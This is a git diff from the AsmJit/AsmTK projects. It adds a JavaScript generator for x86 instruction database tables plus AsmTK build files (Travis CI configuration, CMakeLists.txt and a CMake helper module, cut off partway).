+ var encoding = m[2].trim(); + var opcode0 = m[3].trim(); + var opcode1 = m[4].trim(); + var writeIndex = StringUtils.trimLeft(m[5]); + var writeSize = StringUtils.trimLeft(m[6]); + + const group = GenUtils.groupOf(name); + if (name && !group.length) + console.log(`INSTRUCTION '${name}' not found in asmdb`); + + const flags = GenUtils.flagsOf(group); + const signatures = this.signaturesFromInsts(group); + const singleRegCase = GenUtils.singleRegCase(name); + const jumpType = GenUtils.jumpType(name); + + this.addInst({ + id : 0, // Instruction id (numeric value). + name : name, // Instruction name. + enum : enum_, // Instruction enum without `kId` prefix. + encoding : encoding, // Instruction encoding. + opcode0 : opcode0, // Primary opcode. + opcode1 : opcode1, // Secondary opcode. + flags : flags, + writeIndex : writeIndex, + writeSize : writeSize, + signatures : signatures, // Rows containing instruction signatures. + singleRegCase : singleRegCase, + jumpType : jumpType, + + nameIndex : -1, // Instruction name-index. + altOpCodeIndex : -1, // Index to X86InstDB::altOpCodeTable. + commonDataIndex : -1, + operationDataIndex: -1, + sseToAvxDataIndex : -1, + + signatureIndex : -1, + signatureCount : -1 + }); + this.maxOpRows = Math.max(this.maxOpRows, signatures.length); + } + + if (this.instArray.length === 0) + throw new Error("X86Generator.parse(): Invalid parsing regexp (no data parsed)"); + + console.log("Number of Instructions: " + this.instArray.length); + } + + // -------------------------------------------------------------------------- + // [Generate] + // -------------------------------------------------------------------------- + + generate() { + // Order doesn't matter here. + this.generateIdData(); + this.generateNameData(); + this.generateOperationData(); + this.generateSseToAvxData(); + this.generateAltOpCodeData(); + this.generateSignatureData(); + + // These must be last, and order matters. + this.generateCommonData(); + this.generateInstData(); + + return this; + } + + // -------------------------------------------------------------------------- + // [Generate - AltOpCodeData] + // -------------------------------------------------------------------------- + + generateAltOpCodeData() { + const table = new base.IndexedArray(); + for (var i = 0; i < this.instArray.length; i++) { + const inst = this.instArray[i]; + inst.altOpCodeIndex = table.addIndexed(StringUtils.padLeft(inst.opcode1, 26)); + } + + var s = `const uint32_t X86InstDB::altOpCodeData[] = {\n${StringUtils.format(table, kIndent, true)}\n};\n`; + return this.inject("altOpCodeData", StringUtils.disclaimer(s), table.length * 4); + } + + // -------------------------------------------------------------------------- + // [Generate - OperationData] + // -------------------------------------------------------------------------- + + generateOperationData() { + const instArray = this.instArray; + const table = new base.IndexedArray(); + + for (var i = 0; i < instArray.length; i++) { + const inst = instArray[i]; + const group = GenUtils.groupOf(inst.name); + + var opFlags = GenUtils.operationFlagsOf(group).map(function(f) { return `OP_FLAG(${f})`; }); + if (!opFlags.length) opFlags.push("0"); + + var features = GenUtils.cpuFeaturesOf(group).map(function(f) { return `FEATURE(${f})`; }); + if (!features.length) features.push("0"); + + var [r, w] = GenUtils.specialsOf(group); + r = r.map(function(item) { return `SPECIAL(${item.replace(".", "_")})`; }); + w = w.map(function(item) { return `SPECIAL(${item.replace(".", "_")})`; }); + + const opFlagsStr = opFlags.join(" | "); + const featuresStr = features.join(", "); + const rStr = r.join(" | ") || "0"; + const wStr = w.join(" | ") || "0"; + + inst.operationDataIndex = table.addIndexed(`{ ${opFlagsStr}, { ${featuresStr} }, ${rStr}, ${wStr} }`); + } + + var s = `#define OP_FLAG(F) X86Inst::kOperation##F\n` + + `#define FEATURE(F) CpuInfo::kX86Feature##F\n` + + `#define SPECIAL(F) x86::kSpecialReg_##F\n` + + `const X86Inst::OperationData X86InstDB::operationData[] = {\n${StringUtils.format(table, kIndent, true)}\n};\n` + + `#undef SPECIAL\n` + + `#undef FEATURE\n` + + `#undef OP_FLAG\n` ; + return this.inject("operationData", StringUtils.disclaimer(s), table.length * 16); + } + + // -------------------------------------------------------------------------- + // [Generate - SseToAvxData] + // -------------------------------------------------------------------------- + + generateSseToAvxData() { + const instArray = this.instArray; + const instMap = this.instMap; + const table = new base.IndexedArray(); + + function getSseToAvxInsts(insts) { + const combinations = []; + for (var x = 0; x < insts.length; x++) { + const inst = insts[x]; + const ops = inst.operands; + + // SSE instruction does never share its name with AVX one. + if (/^(VEX|XOP|EVEX)$/.test(inst.prefix)) + return null; + + var ok = false; + for (var y = 0; y < ops.length; y++) { + if (ops[y].reg === "xmm") + ok = true; + + // There is no AVX instruction that works with MMX regs. + if (ops[y].reg === "mm") { + ok = false; + break; + } + } + + if (ok) combinations.push(inst); + } + + return combinations.length ? combinations : null; + } + + function calcSseToAvxData(insts) { + const out = { + mode : "None", // No conversion by default. + delta: 0 // 0 if no conversion is possible. + }; + + const sseInsts = getSseToAvxInsts(insts); + if (!sseInsts) return out; + + const sseName = sseInsts[0].name; + const avxName = "v" + sseName; + const avxInsts = GenUtils.groupOf(avxName); + + if (!avxInsts.length) { + if (DEBUG) + console.log(`SseToAvx: Instruction '${sseName}' has no AVX counterpart`); + return out; + } + + if (avxName === "vblendvpd" || avxName === "vblendvps" || avxName === "vpblendvb") { + // Special cases first. + out.mode = "Blend"; + } + else { + // Common case, deduce conversion mode by checking both SSE and AVX instructions. + const map = Object.create(null); + for (var sseIndex = 0; sseIndex < sseInsts.length; sseIndex++) { + const sseInst = sseInsts[sseIndex]; + var match = false; + + for (var avxIndex = 0; avxIndex < avxInsts.length; avxIndex++) { + const avxInst = avxInsts[avxIndex]; + + // Select only VEX instructions. + if (avxInst.prefix !== "VEX") continue; + + // Check if the AVX version is the same. + if (GenUtils.eqOps(avxInst.operands, 0, sseInst.operands, 0)) { + map.raw = true; + match = true; + } + else if (avxInst.operands[0].data === "xmm" && GenUtils.eqOps(avxInst.operands, 1, sseInst.operands, 0)) { + map.nds = true; + match = true; + } + } + + if (!match) { + const signature = sseInst.operands.map(function(op) { return op.data; }).join(", "); + console.log(`SseToAvx: Instruction '${sseName}(${signature})' has no AVX counterpart`); + return out; + } + } + + out.mode = (map.raw && !map.nds) ? "Move" : (map.raw && map.nds) ? "MoveIfMem" : "Extend"; + } + out.delta = instMap[avxName].id - instMap[sseName].id; + return out; + } + + // This will receive a zero index, which means that no translation is possible. + table.addIndexed("{ " + StringUtils.padLeft(`X86Inst::kSseToAvxNone`, 27) + ", " + StringUtils.padLeft("0", 4) + " }"); + + for (var i = 0; i < instArray.length; i++) { + const inst = instArray[i]; + + // If it's not `-1` it's an AVX instruction that shares the SseToAvx + // data. So we won't touch it as it already has `sseToAvxDataIndex`. + if (inst.sseToAvxDataIndex === -1) { + const data = calcSseToAvxData(GenUtils.groupOf(inst.name)); + inst.sseToAvxDataIndex = table.addIndexed("{ " + StringUtils.padLeft(`X86Inst::kSseToAvx${data.mode}`, 27) + ", " + StringUtils.padLeft(data.delta, 4) + " }"); + if (data.delta !== 0) + instMap["v" + inst.name].sseToAvxDataIndex = inst.sseToAvxDataIndex; + } + } + + var s = `const X86Inst::SseToAvxData X86InstDB::sseToAvxData[] = {\n${StringUtils.format(table, kIndent, true)}\n};\n`; + return this.inject("sseToAvxData", StringUtils.disclaimer(s), table.length * 2); + } + + // -------------------------------------------------------------------------- + // [Generate - SignatureData] + // -------------------------------------------------------------------------- + + generateSignatureData() { + const instArray = this.instArray; + + const opMap = Object.create(null); + const opArr = []; + + const signatureMap = Object.create(null); + const signatureArr = []; + + const noOperand = "OSIGNATURE(0, 0, 0, 0xFF)"; + opMap[noOperand] = [0]; + opArr.push(noOperand); + + function findSignaturesIndex(rows) { + const len = rows.length; + if (!len) return 0; + + const indexes = signatureMap[rows[0].data]; + if (indexes === undefined) return -1; + + for (var i = 0; i < indexes.length; i++) { + const index = indexes[i]; + if (index + len > signatureArr.length) continue; + + var ok = true; + for (var j = 0; j < len; j++) { + if (signatureArr[index + j].data !== rows[j].data) { + ok = false; + break; + } + } + + if (ok) + return index; + } + + return -1; + } + + function indexSignatures(signatures) { + const result = signatureArr.length; + + for (var i = 0; i < signatures.length; i++) { + const signature = signatures[i]; + const idx = signatureArr.length; + + if (!hasOwn.call(signatureMap, signature.data)) + signatureMap[signature.data] = []; + + signatureMap[signature.data].push(idx); + signatureArr.push(signature); + } + + return result; + } + + for (var len = this.maxOpRows; len >= 0; len--) { + for (var i = 0; i < instArray.length; i++) { + const inst = instArray[i]; + const signatures = inst.signatures; + if (signatures.length !== len) continue; + + const signatureEntries = []; + for (var j = 0; j < len; j++) { + const signature = signatures[j]; + + var signatureEntry = `ISIGNATURE(${signature.length}, ${signature.x86 ? 1 : 0}, ${signature.x64 ? 1 : 0}, ${signature.implicit}`; + var signatureComment = signature.toString(); + + var x = 0; + while (x < signature.length) { + const h = signature[x].toAsmJitOpData(); + var index = -1; + if (!hasOwn.call(opMap, h)) { + index = opArr.length; + opMap[h] = index; + opArr.push(h); + } + else { + index = opMap[h]; + } + + signatureEntry += `, ${StringUtils.padLeft(index, 3)}`; + x++; + } + + while (x < 6) { + signatureEntry += `, ${StringUtils.padLeft(0, 3)}`; + x++; + } + + signatureEntry += `)`; + signatureEntries.push({ data: signatureEntry, comment: signatureComment, refs: 0 }); + } + + var count = signatureEntries.length; + var index = findSignaturesIndex(signatureEntries); + + if (index === -1) + index = indexSignatures(signatureEntries); + + signatureArr[index].refs++; + inst.signatureIndex = index; + inst.signatureCount = count; + } + } + + var s = "#define FLAG(flag) X86Inst::kOp##flag\n" + + "#define MEM(mem) X86Inst::kMemOp##mem\n" + + "#define OSIGNATURE(flags, memFlags, extFlags, regId) \\\n" + + " { uint32_t(flags), uint16_t(memFlags), uint8_t(extFlags), uint8_t(regId) }\n" + + StringUtils.makeCxxArray(opArr, "const X86Inst::OSignature X86InstDB::oSignatureData[]") + + "#undef OSIGNATURE\n" + + "#undef MEM\n" + + "#undef FLAG\n" + + "\n" + + "#define ISIGNATURE(count, x86, x64, implicit, o0, o1, o2, o3, o4, o5) \\\n" + + " { count, (x86 ? uint8_t(X86Inst::kArchMaskX86) : uint8_t(0)) | \\\n" + + " (x64 ? uint8_t(X86Inst::kArchMaskX64) : uint8_t(0)) , \\\n" + + " implicit, \\\n" + + " 0, \\\n" + + " { o0, o1, o2, o3, o4, o5 } \\\n" + + " }\n" + + StringUtils.makeCxxArrayWithComment(signatureArr, "const X86Inst::ISignature X86InstDB::iSignatureData[]") + + "#undef ISIGNATURE\n"; + return this.inject("signatureData", StringUtils.disclaimer(s), opArr.length * 8 + signatureArr.length * 8); + } + + // -------------------------------------------------------------------------- + // [Generate - CommonData] + // -------------------------------------------------------------------------- + + generateCommonData() { + const table = new base.IndexedArray(); + + for (var i = 0; i < this.instArray.length; i++) { + const inst = this.instArray[i]; + const group = GenUtils.groupOf(inst.name); + + const flags = inst.flags.map(function(flag) { return `F(${flag})`; }).join("|") || "0"; + const singleRegCase = `SINGLE_REG(${inst.singleRegCase})`; + const jumpType = `JUMP_TYPE(${inst.jumpType})`; + + const item = "{ " + StringUtils.padLeft(flags , 54) + ", " + + StringUtils.padLeft(inst.writeIndex , 3) + ", " + + StringUtils.padLeft(inst.writeSize , 3) + ", " + + StringUtils.padLeft(inst.altOpCodeIndex , 3) + ", " + + StringUtils.padLeft(inst.signatureIndex , 3) + ", " + + StringUtils.padLeft(inst.signatureCount , 2) + ", " + + StringUtils.padLeft(jumpType , 22) + ", " + + StringUtils.padLeft(singleRegCase , 16) + ", " + "0 }"; + inst.commonDataIndex = table.addIndexed(item); + } + + var s = `#define F(VAL) X86Inst::kFlag##VAL\n` + + `#define JUMP_TYPE(VAL) Inst::kJumpType##VAL\n` + + `#define SINGLE_REG(VAL) X86Inst::kSingleReg##VAL\n` + + `const X86Inst::CommonData X86InstDB::commonData[] = {\n${StringUtils.format(table, kIndent, true)}\n};\n` + + `#undef SINGLE_REG\n` + + `#undef JUMP_TYPE\n` + + `#undef F\n`; + return this.inject("commonData", StringUtils.disclaimer(s), table.length * 12); + } + + // -------------------------------------------------------------------------- + // [Generate - InstData] + // -------------------------------------------------------------------------- + + generateInstData() { + var s = StringUtils.format(this.instArray, "", false, function(inst) { + return "INST(" + + StringUtils.padLeft(inst.enum , 16) + ", " + + StringUtils.padLeft(inst.encoding , 19) + ", " + + StringUtils.padLeft(inst.opcode0 , 26) + ", " + + StringUtils.padLeft(inst.opcode1 , 26) + ", " + + StringUtils.padLeft(inst.writeIndex , 1) + ", " + + StringUtils.padLeft(inst.writeSize , 1) + ", " + + StringUtils.padLeft(inst.nameIndex , 4) + ", " + + StringUtils.padLeft(inst.commonDataIndex , 3) + ", " + + StringUtils.padLeft(inst.operationDataIndex, 3) + ", " + + StringUtils.padLeft(inst.sseToAvxDataIndex , 2) + ")"; + }) + "\n"; + return this.inject("instData", s, this.instArray.length * 12); + } + + // -------------------------------------------------------------------------- + // [Reimplement] + // -------------------------------------------------------------------------- + + getCommentOf(name) { + var insts = GenUtils.groupOf(name); + if (!insts.length) return ""; + + var features = GenUtils.cpuFeaturesOf(insts); + var comment = GenUtils.cpuArchOf(insts); + + if (features.length) { + comment += " {"; + + const vl = features.indexOf("AVX512_VL"); + if (vl !== -1) features.splice(vl, 1); + comment += features.join("|"); + if (vl !== -1) comment += "+VL"; + + comment += "}"; + } + + return comment; + } + + // -------------------------------------------------------------------------- + // [Print] + // -------------------------------------------------------------------------- + + printMissing() { + const ignored = MapUtils.arrayToMap([ + "cmpsb", "cmpsw", "cmpsd", "cmpsq", + "lodsb", "lodsw", "lodsd", "lodsq", + "movsb", "movsw", "movsd", "movsq", + "scasb", "scasw", "scasd", "scasq", + "stosb", "stosw", "stosd", "stosq", + "insb" , "insw" , "insd" , + "outsb", "outsw", "outsd", + "wait" // Maps to `fwait`, which AsmJit uses instead. + ]); + + var out = ""; + isa.instructionNames.forEach(function(name) { + var insts = isa.query(name); + if (!this.instMap[name] && ignored[name] !== true) { + console.log(`MISSING INSTRUCTION '${name}'`); + var inst = this.newInstFromInsts(insts); + if (inst) { + out += " INST(" + + StringUtils.padLeft(inst.enum , 16) + ", " + + StringUtils.padLeft(inst.encoding , 23) + ", " + + StringUtils.padLeft(inst.opcode0 , 26) + ", " + + StringUtils.padLeft(inst.opcode1 , 26) + ", " + + StringUtils.padLeft(inst.writeIndex , 2) + ", " + + StringUtils.padLeft(inst.writeSize , 2) + ", " + + StringUtils.padLeft("0", 4) + ", " + + StringUtils.padLeft("0", 3) + ", " + + StringUtils.padLeft("0", 3) + ", " + + StringUtils.padLeft("0", 3) + "),\n"; + } + } + }, this); + console.log(out); + } + + newInstFromInsts(insts) { + function composeOpCode(obj) { + return `${obj.type}(${obj.prefix},${obj.opcode},${obj.o},${obj.l},${obj.w},${obj.ew},${obj.en},${obj.tt})`; + } + + function GetAccess(inst) { + var operands = inst.operands; + if (!operands.length) return ""; + + var op = operands[0]; + if (op.read && op.write) + return "RW"; + else if (op.read) + return "RO"; + else + return "WO"; + } + + var inst = insts[0]; + + var id = this.instArray.length; + var name = inst.name; + var enum_ = name[0].toUpperCase() + name.substr(1); + + var opcode = inst.opcodeHex; + var rm = inst.rm; + var mm = inst.mm; + var pp = inst.pp; + var encoding = inst.encoding; + var prefix = inst.prefix; + + var access = GetAccess(inst); + + var vexL = undefined; + var vexW = undefined; + var evexW = undefined; + + for (var i = 1; i < insts.length; i++) { + inst = insts[i]; + + if (opcode !== inst.opcode ) return null; + if (rm !== inst.rm ) return null; + if (mm !== inst.mm ) return null; + if (pp !== inst.pp ) return null; + if (encoding !== inst.encoding ) return null; + if (prefix !== inst.prefix ) return null; + if (access !== GetAccess(inst)) return null; + } + + var ppmm = StringUtils.padLeft(pp, 2).replace(/ /g, "0") + + StringUtils.padLeft(mm, 4).replace(/ /g, "0") ; + + var composed = composeOpCode({ + type : prefix === "VEX" || prefix === "EVEX" ? "V" : "O", + prefix: ppmm, + opcode: opcode, + o : rm === "r" ? "_" : (rm ? rm : "_"), + l : vexL !== undefined ? vexL : "_", + w : vexW !== undefined ? vexW : "_", + ew : evexW !== undefined ? vexEW : "_", + en : "_", + tt : "_ " + }); + + return { + id : id, + name : name, + enum : enum_, + encoding : encoding, + opcode0 : composed, + opcode1 : "0", + writeIndex : "0", + writeSize : "0", + nameIndex : -1, + commonDataIndex : -1, + operationDataIndex: -1 + }; + } +} + +// ---------------------------------------------------------------------------- +// [Main] +// ---------------------------------------------------------------------------- + +function main() { + const gen = new X86Generator(); + gen.parse(); + gen.generate(); + gen.printMissing(); + gen.dumpTableSizes(); + gen.save(); +} +main(); diff --git a/asmtk/.gitignore b/asmtk/.gitignore new file mode 100644 index 0000000..87200ce --- /dev/null +++ b/asmtk/.gitignore @@ -0,0 +1,4 @@ +.kdev4 +*.kdev4 +build +build_* diff --git a/asmtk/.travis.yml b/asmtk/.travis.yml new file mode 100644 index 0000000..070bf47 --- /dev/null +++ b/asmtk/.travis.yml @@ -0,0 +1,49 @@ +language: cpp + +os: [linux, osx] +compiler: [gcc, clang] + +addons: + apt: + packages: [cmake, gcc-multilib, g++-multilib] + sources: [ubuntu-toolchain-r-test] + +env: + matrix: + - BUILD_TYPE=Debug CFLAGS=-m32 CXXFLAGS=-m32 + - BUILD_TYPE=Debug CFLAGS=-m64 CXXFLAGS=-m64 + - BUILD_TYPE=Release CFLAGS=-m32 CXXFLAGS=-m32 + - BUILD_TYPE=Release CFLAGS=-m64 CXXFLAGS=-m64 + +matrix: + exclude: + - os: osx + compiler: gcc + +install: + - | + if [[ "${TRAVIS_OS_NAME}" == "linux" ]]; then + CMAKE_PACKAGE="https://cmake.org/files/v3.6/cmake-3.6.2-Linux-x86_64.tar.gz" + mkdir -p deps/cmake + wget --no-check-certificate --quiet -O - ${CMAKE_PACKAGE} | tar --strip-components=1 -xz -C deps/cmake + export PATH=${TRAVIS_BUILD_DIR}/deps/cmake/bin:${PATH} + else + brew update + brew outdated cmake || brew upgrade cmake + fi + - | + mkdir -p deps/asmjit + git clone --depth=1 https://github.com/asmjit/asmjit.git deps/asmjit + +before_script: + - mkdir build + - cd build + - cmake --version + - cmake .. -G"Unix Makefiles" -DCMAKE_BUILD_TYPE="$BUILD_TYPE" -DASMJIT_DIR="../deps/asmjit" -DASMTK_BUILD_TEST=1 + - cd .. + +script: + - cd build + - make + - cd .. + - ./build/asmtk_test_x86 diff --git a/asmtk/CMakeLists.txt b/asmtk/CMakeLists.txt new file mode 100644 index 0000000..d53dd05 --- /dev/null +++ b/asmtk/CMakeLists.txt @@ -0,0 +1,95 @@ +cmake_minimum_required(VERSION 3.1) + +# Don't create a project if it was already created by another CMakeLists.txt. +# This allows one library to embed another library without a project collision. +if(NOT CMAKE_PROJECT_NAME OR "${CMAKE_PROJECT_NAME}" STREQUAL "asmtk") + project(asmtk C CXX) +endif() + +if(NOT DEFINED ASMJIT_EMBED) + set(ASMJIT_EMBED TRUE) +endif() + +# ============================================================================= +# [AsmTK - Configuration] +# ============================================================================= + +set(ASMTK_DIR "${CMAKE_CURRENT_LIST_DIR}" CACHE PATH "Location of 'asmtk'") +set(ASMJIT_DIR "${ASMTK_DIR}/../asmjit" CACHE PATH "Location of 'asmjit'") + +set(ASMTK_EMBED FALSE CACHE BOOLEAN "Embed 'asmtk' library (no targets)") +set(ASMTK_STATIC ${ASMTK_EMBED} CACHE BOOLEAN "Build 'asmtk' library as static") +set(ASMTK_BUILD_TEST FALSE CACHE BOOLEAN "Build 'asmtk_test' applications") + +# ============================================================================= +# [AsmTK - Project] +# ============================================================================= + +include("${ASMTK_DIR}/CxxProject.cmake") +cxx_project(asmtk) +cxx_detect_standard(ASMTK_PRIVATE_CFLAGS) + +include("${ASMJIT_DIR}/CMakeLists.txt") +list(APPEND ASMTK_DEPS ${ASMJIT_LIBS}) +list(APPEND ASMTK_PRIVATE_CFLAGS ${ASMJIT_CFLAGS}) + +list(REMOVE_DUPLICATES ASMTK_DEPS) +list(REMOVE_DUPLICATES ASMTK_PRIVATE_CFLAGS) + +cxx_project_info(asmtk) + +# ============================================================================= +# [AsmTK - Source] +# ============================================================================= + +set(ASMTK_SRC "") + +cxx_add_source(asmtk ASMTK_SRC asmtk + asmtk.h + asmparser.cpp + asmparser.h + asmtokenizer.cpp + asmtokenizer.h + elfdefs.h + globals.h + strtod.h +) + +# ============================================================================= +# [AsmTK - Targets] +# ============================================================================= + +if(NOT ASMTK_EMBED) + if(ASMTK_BUILD_TEST) + set(ASMTK_TEST_CFLAGS + ${ASMJIT_CFLAGS} + ${CXX_DEFINE}ASMJIT_BUILD_X86 + ${CXX_DEFINE}ASMJIT_EMBED + ${CXX_DEFINE}ASMTK_EMBED + ${CXX_DEFINE}ASMTK_TEST) + + set(ASMTK_SAMPLES_SRC + asmtk_test_cmd + asmtk_test_handler + asmtk_test_x86) + + foreach(_target ${ASMTK_SAMPLES_SRC}) + add_executable(${_target} ${ASMJIT_SRC} ${ASMTK_SRC} "${ASMTK_DIR}/test/${_target}.cpp") + target_link_libraries(${_target} ${ASMJIT_DEPS}) + target_include_directories(${_target} BEFORE PRIVATE ${ASMJIT_INCLUDE_DIR}) + set_target_properties(${_target} PROPERTIES LINK_FLAGS "${ASMJIT_PRIVATE_LFLAGS}") + + if(CMAKE_BUILD_TYPE) + if("${CMAKE_BUILD_TYPE}" STREQUAL "Debug") + target_compile_options(${_target} PRIVATE ${ASMTK_TEST_CFLAGS} ${ASMTK_PRIVATE_CFLAGS} ${ASMTK_PRIVATE_CFLAGS_DBG}) + else() + target_compile_options(${_target} PRIVATE ${ASMTK_TEST_CFLAGS} ${ASMTK_PRIVATE_CFLAGS} ${ASMTK_PRIVATE_CFLAGS_REL}) + endif() + else() + target_compile_options(${_target} PRIVATE ${ASMTK_TEST_CFLAGS} ${ASMTK_PRIVATE_CFLAGS} + $<$:${ASMTK_PRIVATE_CFLAGS_DBG}> + $<$>:${ASMTK_PRIVATE_CFLAGS_REL}>) + endif() + endforeach() + endif() +endif() diff --git a/asmtk/CxxProject.cmake b/asmtk/CxxProject.cmake new file mode 100644 index 0000000..b0c9a6c --- /dev/null +++ b/asmtk/CxxProject.cmake @@ -0,0 +1,335 @@ +# CxxProject 1.0.0 +# ---------------- + +if (NOT __CXX_INCLUDED) + set(__CXX_INCLUDED TRUE) + include(CheckCXXCompilerFlag) + + # --------------------------------------------------------------------------- + # C++ COMPILER SUPPORT: + # + # * cxx_detect_cflags(out, ...) + # * cxx_detect_standard(out) + # --------------------------------------------------------------------------- + function(cxx_detect_cflags out) + set(out_array ${${out}}) + + foreach(flag ${ARGN}) + string(REGEX REPLACE "[-=:;/.\+]" "_" flag_signature "${flag}") + check_cxx_compiler_flag(${flag} "__CxxFlag_${flag_signature}") + if(${__CxxFlag_${flag_signature}}) + list(APPEND out_array "${flag}") + endif() + endforeach() + + set(${out} "${out_array}" PARENT_SCOPE) + endfunction() + + function(cxx_detect_standard out) + set(out_array) + + if("${CMAKE_CXX_COMPILER_ID}" STREQUAL "MSVC") + cxx_detect_cflags(out_array "/std:c++latest" "/std:c++14") + else() + cxx_detect_cflags(out_array "-std=c++17" "-std=c++14" "-std=c++11" "-std=c++0x") + endif() + + # Keep only the first flag detected, which keeps the highest version supported. + if(out_array) + list(GET out_array 0 out_array) + endif() + + set(out_array ${${out}} ${out_array}) + set(${out} "${out_array}" PARENT_SCOPE) + endfunction() + + function(cxx_print_cflags cflags_any cflags_dbg cflags_rel) + foreach(flag ${cflags_any}) + message(" ${flag}") + endforeach() + foreach(flag ${cflags_dbg}) + message(" ${flag} [DEBUG]") + endforeach() + foreach(flag ${cflags_rel}) + message(" ${flag} [RELEASE]") + endforeach() + endfunction() + + # ----------------------------------------------------------------------------- + # This part detects the c++ compiler and fills basic CXX_... variables to make + # integration with that compiler easier. It provides the most common flags in + # a cross-platform way. + # ----------------------------------------------------------------------------- + set(CXX_DEFINE "-D") # Define a preprocessor macro: "${CXX_DEFINE}VAR=1" + set(CXX_INCLUDE "-I") # Define an include directory: "${CXX_INCLUDE}PATH" + + set(CXX_CFLAGS_SSE "") # Compiler flags to build a file that uses SSE intrinsics. + set(CXX_CFLAGS_SSE2 "") # Compiler flags to build a file that uses SSE2 intrinsics. + set(CXX_CFLAGS_SSE3 "") # Compiler flags to build a file that uses SSE3 intrinsics. + set(CXX_CFLAGS_SSSE3 "") # Compiler flags to build a file that uses SSSE3 intrinsics. + set(CXX_CFLAGS_SSE4_1 "") # Compiler flags to build a file that uses SSE4.1 intrinsics. + set(CXX_CFLAGS_SSE4_2 "") # Compiler flags to build a file that uses SSE4.2 intrinsics. + set(CXX_CFLAGS_AVX "") # Compiler flags to build a file that uses AVX intrinsics. + set(CXX_CFLAGS_AVX2 "") # Compiler flags to build a file that uses AVX2 intrinsics. + + if("${CMAKE_CXX_COMPILER_ID}" STREQUAL "MSVC") + set(CXX_DEFINE "/D") + set(CXX_INCLUDE "/I") + + # 64-bit MSVC compiler doesn't like /arch:SSE[2] as it's implicit. + if(NOT CMAKE_CL_64) + list(APPEND CXX_CFLAGS_SSE "/arch:SSE") + list(APPEND CXX_CFLAGS_SSE2 "/arch:SSE2") + list(APPEND CXX_CFLAGS_SSE3 "/arch:SSE2") + list(APPEND CXX_CFLAGS_SSSE3 "/arch:SSE2") + list(APPEND CXX_CFLAGS_SSE4_1 "/arch:SSE2") + list(APPEND CXX_CFLAGS_SSE4_2 "/arch:SSE2") + endif() + + # MSVC doesn't provide any preprocessor definitions to detect SSE3+, + # these unify MSVC with definitions defined by Intel|Clang|GCC. + list(APPEND CXX_CFLAGS_SSE "${CXX_DEFINE}__SSE__") + list(APPEND CXX_CFLAGS_SSE2 "${CXX_DEFINE}__SSE2__") + list(APPEND CXX_CFLAGS_SSE3 "${CXX_DEFINE}__SSE3__") + list(APPEND CXX_CFLAGS_SSSE3 "${CXX_DEFINE}__SSSE3__") + list(APPEND CXX_CFLAGS_SSE4_1 "${CXX_DEFINE}__SSE4_1__") + list(APPEND CXX_CFLAGS_SSE4_2 "${CXX_DEFINE}__SSE4_2__") + + # AVX/AVX2 doesn't need custom defs as MSVC does define __AVX[2]__ by itself. + cxx_detect_cflags(CXX_CFLAGS_AVX "/arch:AVX") + cxx_detect_cflags(CXX_CFLAGS_AVX2 "/arch:AVX2") + elseif("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel" AND WIN32) + # Intel on Windows uses CL syntax. + set(CXX_DEFINE "/D") + set(CXX_INCLUDE "/I") + + # Intel deprecated /arch:SSE, so it's implicit. In contrast to MSVC, Intel + # also provides /arch:SSE3+ options and uses the same definitions as GCC + # and Clang, so no magic needed here. + cxx_detect_cflags(CXX_CFLAGS_SSE2 "/arch:SSE2") + cxx_detect_cflags(CXX_CFLAGS_SSE3 "/arch:SSE3") + cxx_detect_cflags(CXX_CFLAGS_SSSE3 "/arch:SSSE3") + cxx_detect_cflags(CXX_CFLAGS_SSE4_1 "/arch:SSE4.1") + cxx_detect_cflags(CXX_CFLAGS_SSE4_2 "/arch:SSE4.2") + cxx_detect_cflags(CXX_CFLAGS_AVX "/arch:AVX") + cxx_detect_cflags(CXX_CFLAGS_AVX2 "/arch:AVX2") + else() + cxx_detect_cflags(CXX_CFLAGS_SSE "-msse") + cxx_detect_cflags(CXX_CFLAGS_SSE2 "-msse2") + cxx_detect_cflags(CXX_CFLAGS_SSE3 "-msse3") + cxx_detect_cflags(CXX_CFLAGS_SSSE3 "-mssse3") + cxx_detect_cflags(CXX_CFLAGS_SSE4_1 "-msse4.1") + cxx_detect_cflags(CXX_CFLAGS_SSE4_2 "-msse4.2") + cxx_detect_cflags(CXX_CFLAGS_AVX "-mavx") + cxx_detect_cflags(CXX_CFLAGS_AVX2 "-mavx2") + endif() + + # --------------------------------------------------------------------------- + # Function + # cxx_project(product) + # + # Create a master project or embed other project in a master project. + # --------------------------------------------------------------------------- + function(cxx_project product) + string(TOUPPER "${product}" PRODUCT) + + set(MODE_EMBED ${${PRODUCT}_EMBED}) + set(MODE_STATIC ${${PRODUCT}_STATIC}) + + # EMBED implies STATIC. + if(MODE_EMBED) + set(MODE_STATIC TRUE) + set(${PRODUCT}_STATIC TRUE PARENT_SCOPE) + endif() + + # Deduce source and include directories. By default CxxProject assumes that + # both source and include files are located at './src'. + set(SOURCE_DIR "${${PRODUCT}_SOURCE_DIR}") + set(INCLUDE_DIR "${${PRODUCT}_INCLUDE_DIR}") + + if(NOT SOURCE_DIR) + set(SOURCE_DIR "${${PRODUCT}_DIR}/src") + set(${PRODUCT}_SOURCE_DIR "${SOURCE_DIR}" PARENT_SCOPE) + endif() + + if(NOT INCLUDE_DIR) + set(INCLUDE_DIR "${SOURCE_DIR}") + set(${PRODUCT}_INCLUDE_DIR "${INCLUDE_DIR}" PARENT_SCOPE) + endif() + + set(DEPS "") # Dependencies (list of libraries) for the linker. + set(LIBS "") # Dependencies with project included, for consumers. + set(CFLAGS "") # Public compiler flags. + set(PRIVATE_CFLAGS "") # Private compiler flags independent of build type. + set(PRIVATE_CFLAGS_DBG "") # Private compiler flags used by debug builds. + set(PRIVATE_CFLAGS_REL "") # Private compiler flags used by release builds. + set(PRIVATE_LFLAGS "") # Private linker flags. + + if(MODE_EMBED) + list(APPEND CFLAGS "${CXX_DEFINE}${PRODUCT}_EMBED") + list(APPEND PRIVATE_CFLAGS "${CXX_DEFINE}${PRODUCT}_EMBED") + endif() + + if(MODE_STATIC) + list(APPEND CFLAGS "${CXX_DEFINE}${PRODUCT}_STATIC") + list(APPEND PRIVATE_CFLAGS "${CXX_DEFINE}${PRODUCT}_STATIC") + endif() + + # PUBLIC properties - usable by third parties. + set(${PRODUCT}_DEPS "${DEPS}" PARENT_SCOPE) + set(${PRODUCT}_LIBS "${LIBS}" PARENT_SCOPE) + set(${PRODUCT}_CFLAGS "${CFLAGS}" PARENT_SCOPE) + + # PRIVATE properties - only used during build. + set(${PRODUCT}_PRIVATE_CFLAGS "${PRIVATE_CFLAGS}" PARENT_SCOPE) + set(${PRODUCT}_PRIVATE_CFLAGS_DBG "${PRIVATE_CFLAGS_DBG}" PARENT_SCOPE) + 